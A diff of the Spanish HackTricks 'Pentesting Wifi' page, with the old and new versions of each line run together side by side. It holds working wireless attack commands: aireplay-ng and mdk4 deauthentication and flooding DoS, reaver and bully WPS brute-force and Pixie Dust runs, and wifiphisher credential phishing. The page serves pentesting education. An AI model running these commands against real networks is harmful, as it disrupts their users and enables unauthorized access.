* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Pentesting Wifi # Pentesting Wifi
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! ¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\ **Perspectivas de Hacking**\
Involúcrate con contenido que explora la emoción y los desafíos del hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
@ -52,8 +53,6 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup ./kali-setup
``` ```
### Airgeddon ### Airgeddon
Airgeddon es una herramienta de prueba de penetración todo en uno para redes inalámbricas. Ofrece una amplia gama de funcionalidades para realizar pruebas de seguridad en redes WiFi, incluyendo ataques de deautenticación, ataques de fuerza bruta, ataques de Evil Twin, y mucho más. Es una herramienta muy potente y popular en la comunidad de pruebas de penetración.
```bash ```bash
mv `which dhcpd` `which dhcpd`.old mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
@ -72,9 +71,11 @@ docker run \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon v1s1t0r1sh3r3/airgeddon
``` ```
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
### wifiphisher ### wifiphisher
Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos y luego utilizar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales. Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -82,41 +83,41 @@ sudo python setup.py install # Install any dependencies
``` ```
### [Wifite2](https://github.com/derv82/wifite2) ### [Wifite2](https://github.com/derv82/wifite2)
Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente: Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
* Configura la interfaz en modo monitor * Configura la interfaz en modo monitor
* Escanea posibles redes - Y te permite seleccionar a la(s) víctima(s) * Escanea redes posibles - Y te permite seleccionar la(s) víctima(s)
* Si es WEP - Lanza ataques WEP * Si es WEP - Lanza ataques WEP
* Si es WPA-PSK * Si es WPA-PSK
* Si es WPS: Ataque Pixie dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta PIN nulo o PIN generados de base de datos. * Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos.
* Intenta capturar el PMKID del AP para crackearlo * Intenta capturar el PMKID del AP para crackearlo
* Intenta desautenticar clientes del AP para capturar un handshake * Intenta desautenticar a los clientes del AP para capturar un handshake
* Si tiene PMKID o Handshake, intenta la fuerza bruta usando las top5000 contraseñas. * Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas principales.
## Resumen de Ataques ## Resumen de Ataques
* **DoS** * **DoS**
* Paquetes de desautenticación/desasociación -- Desconectar a todos (o a un ESSID/Cliente específico) * Desautenticación/desasociación -- Desconectar a todos (o un ESSID/Cliente específico)
* APs falsos aleatorios -- Ocultar redes, posiblemente bloquear escáneres * APs falsos aleatorios -- Ocultar redes, posible colapso de escáneres
* Sobrecargar AP -- Intentar bloquear el AP (usualmente no muy útil) * Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil)
* WIDS -- Jugar con el IDS * WIDS -- Jugar con el IDS
* TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs * TKIP, EAPOL -- Algunos ataques específicos para DoS a ciertos APs
* **Cracking** * **Cracking**
* Crackear **WEP** (varias herramientas y métodos) * Crackear **WEP** (varias herramientas y métodos)
* **WPA-PSK** * **WPA-PSK**
* PIN de **WPS** "Fuerza Bruta" * **WPS** pin "Fuerza Bruta"
* **WPA PMKID** fuerza bruta * **WPA PMKID** fuerza bruta
* \[DoS +] Captura de **WPA handshake** + Cracking * \[DoS +] **Captura de handshake WPA** + Cracking
* **WPA-MGT** * **WPA-MGT**
* Captura de **Nombre de usuario** * **Captura de Nombre de Usuario**
* **Fuerza Bruta** de Credenciales * **Fuerza Bruta** Credenciales
* **Doble Malvado** (con o sin DoS) * **Evil Twin** (con o sin DoS)
* Doble Malvado **Abierto** \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN * **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
* Doble Malvado **WPA-PSK** -- Útil para ataques de red si conoces la contraseña * **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña
* **WPA-MGT** -- Útil para capturar credenciales de empresa * **WPA-MGT** -- Útil para capturar credenciales de la empresa
* **KARMA, MANA**, **MANA Ruidoso**, **Beacon Conocido** * **KARMA, MANA**, **Loud MANA**, **Beacon conocido**
* **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN * **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
* **+ WPA** -- Útil para capturar handshakes de WPA * **+ WPA** -- Útil para capturar handshakes WPA
## DOS ## DOS
@ -124,23 +125,23 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente:
**Descripción de** [**aquí**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **Descripción de** [**aquí**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, involucran la falsificación de marcos "de gestión" para **desconectar dispositivos de una red de forma forzada**. Estos paquetes no encriptados engañan a los clientes haciéndoles creer que provienen de la red legítima, permitiendo a los atacantes recolectar handshakes de WPA con fines de cracking o para interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red. Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, lo que permite a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.
**Desautenticación usando Aireplay-ng** **Desautenticación usando Aireplay-ng**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0 significa desautenticación * \-0 significa desautenticación
* 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente * 1 es el número de desautenticaciones a enviar (puedes enviar múltiples si lo deseas); 0 significa enviarlas continuamente
* \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso * \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
* \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona) * \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía desautenticación por difusión (no siempre funciona)
* ath0 es el nombre de la interfaz * ath0 es el nombre de la interfaz
### Paquetes de Desasociación ### Paquetes de Desasociación
**Los paquetes de desasociación**, similares a los paquetes de desautenticación, son un tipo de trama de gestión utilizada en redes Wi-Fi. Estos paquetes sirven para cortar la conexión entre un dispositivo (como un portátil o un teléfono inteligente) y un punto de acceso (AP). La distinción principal entre la desasociación y la desautenticación radica en sus escenarios de uso. Mientras que un AP emite **paquetes de desautenticación para eliminar explícitamente dispositivos no autorizados de la red, los paquetes de desasociación se envían típicamente cuando el AP está siendo apagado, reiniciado o reubicado, lo que requiere la desconexión de todos los nodos conectados.** **Los paquetes de desasociación**, similares a los paquetes de desautenticación, son un tipo de marco de gestión utilizado en redes Wi-Fi. Estos paquetes sirven para romper la conexión entre un dispositivo (como una laptop o un smartphone) y un punto de acceso (AP). La principal distinción entre desasociación y desautenticación radica en sus escenarios de uso. Mientras que un AP emite **paquetes de desautenticación para eliminar explícitamente dispositivos no autorizados de la red, los paquetes de desasociación se envían típicamente cuando el AP está en proceso de apagado**, reinicio o reubicación, lo que requiere la desconexión de todos los nodos conectados.
**Este ataque puede ser realizado por mdk4 (modo "d"):** **Este ataque se puede realizar con mdk4(modo "d"):**
```bash ```bash
# -c <channel> # -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate # -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -149,13 +150,13 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them # Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
``` ```
### **Más ataques DOS por mdk4** ### **Más ataques DOS con mdk4**
**En** [**aquí**](https://en.kali.tools/?p=864)**.** **En** [**aquí**](https://en.kali.tools/?p=864)**.**
**MODO DE ATAQUE b: Inundación de Beacons** **MODO DE ATAQUE b: Inundación de Beacon**
Envía tramas de beacons para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen! Envía tramas de beacon para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -165,7 +166,7 @@ mdk4 wlan0mon b -a -w nta -m
``` ```
**MODO DE ATAQUE a: Denegación de Servicio de Autenticación** **MODO DE ATAQUE a: Denegación de Servicio de Autenticación**
Enviar tramas de autenticación a todos los Puntos de Acceso (APs) accesibles dentro del rango puede sobrecargar estos APs, especialmente cuando hay numerosos clientes involucrados. Este intenso tráfico puede provocar inestabilidad en el sistema, causando que algunos APs se congelen o incluso se reinicien. Enviar tramas de autenticación a todos los Puntos de Acceso (APs) accesibles dentro del rango puede sobrecargar estos APs, especialmente cuando hay numerosos clientes involucrados. Este tráfico intenso puede llevar a la inestabilidad del sistema, causando que algunos APs se congelen o incluso se reinicien.
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -173,13 +174,13 @@ Enviar tramas de autenticación a todos los Puntos de Acceso (APs) accesibles de
# only -a or -i can be used # only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**MODO DE ATAQUE p: Sondeo y Fuerza Bruta de SSID** **MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta**
Sondear Puntos de Acceso (APs) verifica si se revela correctamente un SSID y confirma el alcance del AP. Esta técnica, junto con la **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas. El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con **la fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.
**MODO DE ATAQUE m: Explotación de Contramedidas de Michael** **MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede desencadenar Contramedidas de Michael en APs **TKIP**, lo que provoca un apagado de un minuto del AP. Este método es una táctica eficiente de ataque de **DoS** (Denegación de Servicio). Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP de un minuto. Este método es una táctica eficiente de ataque **DoS** (Denial of Service).
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
@ -187,27 +188,27 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff** **MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff**
Inundar un AP con **tramas de inicio EAPOL** crea **sesiones falsas**, abrumando al AP y bloqueando clientes legítimos. Alternativamente, inyectar **mensajes falsos de Logoff EAPOL** desconecta a los clientes de forma forzada, ambos métodos interrumpen efectivamente el servicio de red. Inundar un AP con **tramas EAPOL Start** crea **sesiones falsas**, abrumando al AP y bloqueando a los clientes legítimos. Alternativamente, inyectar **mensajes EAPOL Logoff falsos** desconecta forzosamente a los clientes, ambos métodos interrumpen efectivamente el servicio de la red.
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**MODO DE ATAQUE s: Ataques para redes en malla IEEE 802.11s** **MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s**
Varios ataques en la gestión de enlaces y enrutamiento en redes en malla. Varios ataques a la gestión de enlaces y el enrutamiento en redes de malla.
**MODO DE ATAQUE w: Confusión en WIDS** **MODO DE ATAQUE w: Confusión de WIDS**
Conectar clientes entre múltiples nodos WDS o puntos de acceso falsos puede manipular los Sistemas de Detección y Prevención de Intrusiones, creando confusión y posibles abusos del sistema. Conectar clientes a múltiples nodos WDS o APs falsos puede manipular los Sistemas de Detección y Prevención de Intrusiones, creando confusión y potencial abuso del sistema.
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**MODO DE ATAQUE f: Fuzzer de Paquetes** **MODO DE ATAQUE f: Fuzzing de Paquetes**
Un fuzzer de paquetes que ofrece diversas fuentes de paquetes y un conjunto completo de modificadores para la manipulación de paquetes. Un fuzzing de paquetes que presenta diversas fuentes de paquetes y un conjunto completo de modificadores para la manipulación de paquetes.
### **Airgedon** ### **Airggedon**
_**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores: _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores:
@ -215,45 +216,45 @@ _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios
## WPS ## WPS
WPS (Wi-Fi Protected Setup) simplifica el proceso de conexión de dispositivos a un enrutador, mejorando la velocidad de configuración y facilidad para redes encriptadas con **WPA** o **WPA2** Personal. Es ineficaz para la seguridad fácilmente comprometida de WEP. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades). WPS (Wi-Fi Protected Setup) simplifica el proceso de conexión de dispositivos a un enrutador, mejorando la velocidad y facilidad de configuración para redes encriptadas con **WPA** o **WPA2** Personal. Es ineficaz para la seguridad WEP, que es fácilmente comprometida. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades).
### Fuerza Bruta en WPS ### Fuerza Bruta WPS
Existen 2 herramientas principales para realizar esta acción: Reaver y Bully. Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.
* **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS. * **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
* **Bully** es una **nueva implementación** del ataque de fuerza bruta en WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de endianness y un conjunto de opciones más robusto. * **Bully** es una **nueva implementación** del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de endianness, y un conjunto de opciones más robusto.
El ataque explota la **vulnerabilidad del PIN de WPS**, particularmente su exposición de los primeros cuatro dígitos y el papel del último dígito como suma de verificación, facilitando el ataque de fuerza bruta. Sin embargo, las defensas contra ataques de fuerza bruta, como **bloquear las direcciones MAC** de atacantes agresivos, exigen **rotación de direcciones MAC** para continuar el ataque. El ataque explota la **vulnerabilidad del PIN WPS**, particularmente su exposición de los primeros cuatro dígitos y el papel del último dígito como un checksum, facilitando el ataque de fuerza bruta. Sin embargo, las defensas contra ataques de fuerza bruta, como **bloquear direcciones MAC** de atacantes agresivos, exigen **rotación de direcciones MAC** para continuar el ataque.
Al obtener el PIN de WPS con herramientas como Bully o Reaver, el atacante puede deducir la PSK de WPA/WPA2, asegurando **acceso persistente a la red**. Al obtener el PIN WPS con herramientas como Bully o Reaver, el atacante puede deducir el WPA/WPA2 PSK, asegurando **acceso persistente a la red**.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
``` ```
**Fuerza Bruta Inteligente** **Fuerza Bruta Inteligente**
Este enfoque refinado se centra en los PIN de WPS utilizando vulnerabilidades conocidas: Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conocidas:
1. **PINs Pre-descubiertos**: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que se sabe que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los posibles PINs para estos fabricantes. 1. **PINs predescubiertos**: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los PINs probables para estos fabricantes.
2. **Algoritmos de Generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan PINs de WPS basados en la dirección MAC del AP. El algoritmo de Arcadyan requiere adicionalmente un ID de dispositivo, añadiendo una capa al proceso de generación de PIN. 2. **Algoritmos de generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación del PIN.
### Ataque WPS Pixie Dust ### Ataque WPS Pixie Dust
**Dominique Bongard** descubrió una falla en algunos Puntos de Acceso (APs) relacionada con la creación de códigos secretos, conocidos como **nonces** (**E-S1** y **E-S2**). Si estos nonces pueden ser descifrados, crackear el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para demostrar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más información al respecto se puede encontrar [aquí](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)). **Dominique Bongard** descubrió un fallo en algunos Puntos de Acceso (APs) relacionado con la creación de códigos secretos, conocidos como **nonces** (**E-S1** y **E-S2**). Si estos nonces pueden ser descubiertos, descifrar el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para probar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más sobre esto se puede encontrar [aquí](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
En términos simples, el problema radica en que algunos APs no utilizaban claves lo suficientemente aleatorias para cifrar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline). En términos simples, el problema es que algunos APs no utilizaron llaves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
Si no quieres cambiar el dispositivo al modo monitor, o `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque de Pixie Dust sin necesidad de cambiar al modo monitor. Si no quieres cambiar el dispositivo a modo monitor, o `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor.
```bash ```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
``` ```
### Ataque de Pin nulo ### Null Pin attack
Algunos sistemas mal diseñados incluso permiten que un **PIN nulo** (un PIN vacío o inexistente) conceda acceso, lo cual es bastante inusual. La herramienta **Reaver** es capaz de probar esta vulnerabilidad, a diferencia de **Bully**. Algunos sistemas mal diseñados incluso permiten que un **Null PIN** (un PIN vacío o inexistente) otorgue acceso, lo cual es bastante inusual. La herramienta **Reaver** es capaz de probar esta vulnerabilidad, a diferencia de **Bully**.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
@ -264,14 +265,14 @@ Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando _**ai
![](<../../.gitbook/assets/image (219).png>) ![](<../../.gitbook/assets/image (219).png>)
* 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno) * 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno)
* 7 y 8 realizan el ataque **Pixie Dust** * 7 y 8 realizan el **ataque Pixie Dust**
* 13 te permite probar el **PIN NULL** * 13 te permite probar el **PIN NULL**
* 11 y 12 **recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles** y **generarán** posibles **PIN** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?) * 11 y 12 **recolectarán los PINs relacionados con el AP seleccionado de bases de datos disponibles** y **generarán** posibles **PINs** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
* 9 y 10 probarán **cada PIN posible** * 9 y 10 probarán **cada PIN posible**
## **WEP** ## **WEP**
Tan obsoleto y poco utilizado en la actualidad. Solo ten en cuenta que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares. Tan roto y sin usar en la actualidad. Solo sepas que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
![](<../../.gitbook/assets/image (432).png>) ![](<../../.gitbook/assets/image (432).png>)
@ -279,18 +280,18 @@ Tan obsoleto y poco utilizado en la actualidad. Solo ten en cuenta que _**airged
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! ¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\ **Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hackeo en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! ¡Únete a nosotros en [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
*** ***
@ -298,17 +299,17 @@ Mantente informado sobre los nuevos programas de recompensas por errores que se
